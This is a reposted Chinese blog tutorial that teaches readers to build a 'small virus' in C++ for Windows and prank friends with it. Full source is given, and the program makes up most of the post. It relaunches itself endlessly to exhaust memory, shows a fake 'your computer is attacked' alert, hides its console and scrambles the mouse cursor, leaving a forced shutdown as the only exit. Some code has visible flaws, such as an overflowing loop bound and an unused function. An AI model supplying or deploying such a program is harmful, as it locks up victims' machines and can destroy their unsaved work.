概述
我又来啦(*^▽^*)????
怎么做????
开始做????
打开自己????
警告弹框????
开线程做鼠标的效果⭐️⭐️⭐️
定义线程????
创建线程????
等待线程的完成☀️
隐藏控制台图标????
全部代码????
最后????
我又来啦(*^▽^*)????
今天来教大家用c++做一个小病毒,非常的简单,你拿去在好友面前装一装也是可以的????
怎么做????
做就很简单
效果:先获取自己exe文件的路径,每隔一点时间就打开自己(其实是为了刷内存),会出现很多弹框,再加一点警告弹框,效果杠杠滴
然后再开一个线程,在上面的效果的同时,把鼠标搞飞,想要关掉,只能关机
所以说千万不要在打游戏或者文件没保存的时候打开
开始做????
打开自己????
因为我们要打开文件,所以需要知道文件路径
获取文件路径主要用到了一个叫做 _pgmptr的函数,但在用之前,记得要把前面加上一行????
#define _CRT_SECURE_NO_WARNINGS
否则可能用不了????
然后再弄一个char类型的变量s,s的内容是“start”,为什么呢?因为可以用system来打开文件,格式是system("start 文件名");
我们把s和文件路径拼接起来就可以啦
然后就会不停的弹出弹框
实际上这个就是类似于递归的一种操作,只不过这个是不会结束的打开的这个文件又打开,不停的打开
char s[100] = "start ";
system(strcat(s, _pgmptr));
警告弹框????
没啥好说的,就这样就可以
MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION);
开线程做鼠标的效果⭐️⭐️⭐️
开线程其实有很多种方式,因为我是用的devc++,所以我就用pthread.h????
如果用thread的话会报错的
我的devc++是安装的时候就有pthread.h的,其他人的好像都是要额外安装的
我懵逼了
接下来,就是快乐的code时间了
定义线程????
这样定义,加上了鼠标效果
void *test(void *ptr)
{
int i;
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
创建线程????
创建了一个id为pId的线程
pthread_t pId;
ret = pthread_create(&pId,NULL,test,NULL);
等待线程的完成☀️
等待线程pId的完成
pthread_join(pId,NULL);
隐藏控制台图标????
没啥好说的
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
全部代码????
就做完了,是不是很简单?
所以说,做一个简单的病毒是很简单的
全部代码(devc++运行通过),后面可能还会做vs版的????
现在你可以愉快地玩耍了????
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include <pthread.h>
#include <unistd.h>
#include <windows.h>
#include <time.h>
#include <conio.h>
using namespace std;
//线程1:鼠标效果
void *test(void *ptr)
{
int i;
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
srand(time(NULL));
for(int i=1;i<=10000000000000000000;i++)SetCursorPos(rand()%x,rand()%y);
}
void *test1(void *ptr)
{
int j;
for(int u=0;u<100;u++)
{
cout<<u<<endl;
}
}
int main(void)
{
pthread_t pId;
int i,ret;
pthread_t pId1;
int j,ret1;
//创建2个子线程:线程1id为pId,线程2id为pId1
ret = pthread_create(&pId,NULL,test,NULL);
ret1 = pthread_create(&pId1,NULL,test,NULL);
if (ret != 0)
{
cout<<"error!"<<endl;
return 0;
}
if (ret1 != 0)
{
cout<<"error!"<<endl;
return 0;
}
/*隐藏控制台图标*/
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
/*调用自己文件*/
char s[100] = "start ";
system(strcat(s, _pgmptr));
/*警告*/
MessageBox(NULL,"警告:你的电脑被攻击","error",MB_ICONEXCLAMATION);
//等待线程pId和pId1的完成
pthread_join(pId,NULL);
pthread_join(pId1,NULL);
return 0;
}
最后????
最后,谢谢阅读和支持
如果有不懂的问题也可以私信我,我会一一回复
互粉必回,拜拜????
————————————————
版权声明:本文为CSDN博主「YR_T」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/m0_64036070/article/details/123869099
最后
以上就是欢呼舞蹈为你收集整理的用c++撸一个小病毒的全部内容,希望文章能够帮你解决用c++撸一个小病毒所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复